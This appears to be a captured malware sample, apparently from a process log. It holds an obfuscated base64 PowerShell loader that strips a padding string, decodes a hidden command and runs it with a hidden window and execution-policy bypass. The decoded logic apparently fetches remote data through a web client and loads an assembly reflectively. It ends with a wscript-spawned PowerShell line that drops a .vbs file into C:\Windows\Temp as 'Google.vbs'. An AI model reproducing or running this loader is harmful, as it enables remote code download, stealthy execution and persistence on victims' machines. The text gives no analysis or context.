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CpPwOwWIbeIlJvgPZwBlwCpPwOwWIbeIlJvgPFQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPLgBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTwBmwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBGwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPYQBnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPHIwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPDwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCswCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPLgBMwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbgBnwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPawCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPYgBhwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgP2wCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPTwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwB0wCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP9wCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJ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beIlJvgPZQBkwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPcwBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbQBiwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPeQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPD0wCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPBbwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPeQBzwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPZQBtwCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPUgBlwCpPwOwWIbeIlJvgPGYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBpwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbgwCpPwOwWIbeIlJvgPuwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPcwBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbQBiwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPeQBdwCpPwOwWIbeIlJvgPDowCpPwOwWIbeIlJvgPOgBMwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPYQBkwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBjwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPEIwCpPwOwWIbeIlJvgPeQB0wCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPcwwCpPwOwWIbeIlJvgPpwCpPwOwWIbeIlJvgPDswCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPB0wCpPwOwWIbeIlJvgPHkwCpPwOwWIbeIlJvgPcwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBvwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPQQBzwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPZQBtwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPRwBlwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPRgBpwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPZQBywCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPSwCpPwOwWIbeIlJvgPBvwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPbwBkwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPuwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPE0wCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPbwBkwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwBWwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPSQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPLgBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPdgBvwCpPwOwWIbeIlJvgPGswCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPbgB1wCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPWwBvwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPagBlwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBbwCpPwOwWIbeIlJvgPF0wCpPwOwWIbeIlJvgPXQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwBkwCpPwOwWIbeIlJvgPEgwCpPwOwWIbeIlJvgPawCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPwwCpPwOwWIbeIlJvgPEwwCpPwOwWIbeIlJvgPbQBWwCpPwOwWIbeIlJvgPHUwCpPwOwWIbeIlJvgPYgwCpPwOwWIbeIlJvgPzwCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPeQBZwCpPwOwWIbeIlJvgPFYwCpPwOwWIbeIlJvgPYwwCpPwOwWIbeIlJvgPxwCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPRwCpPwOwWIbeIlJvgPBNwCpPwOwWIbeIlJvgPHkwCpPwOwWIbeIlJvgPTQBTwCpPwOwWIbeIlJvgPDkwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBiwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBtwCpPwOwWIbeIlJvgPEwwCpPwOwWIbeIlJvgPegBJwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTQBpwCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPegBNwCpPwOwWIbeIlJvgPFQwCpPwOwWIbeIlJvgPRQB1wCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPBjwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTwCpPwOwWIbeIlJvgPBqwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwBNwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPOwCpPwOwWIbeIlJvgPB2wCpPwOwWIbeIlJvgPE8wCpPwOwWIbeIlJvgPbgBCwCpPwOwWIbeIlJvgPDwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBHwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPLwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCwwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPDIwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCwwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPbwBvwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPxwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwBDwCpPwOwWIbeIlJvgPDowCpPwOwWIbeIlJvgPXwCpPwOwWIbeIlJvgPBXwCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPdwBzwCpPwOwWIbeIlJvgPFwwCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPcwCpPwOwWIbeIlJvgPBcwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPLwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPRwBvwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPZwBswCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPBDwCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPcgBvwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPKQwCpPwOwWIbeIlJvgP=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('wCpPwOwWIbeIlJvgP','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
parent_process wscript.exe martian_process powershell.exe -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Google.vbs -Force }
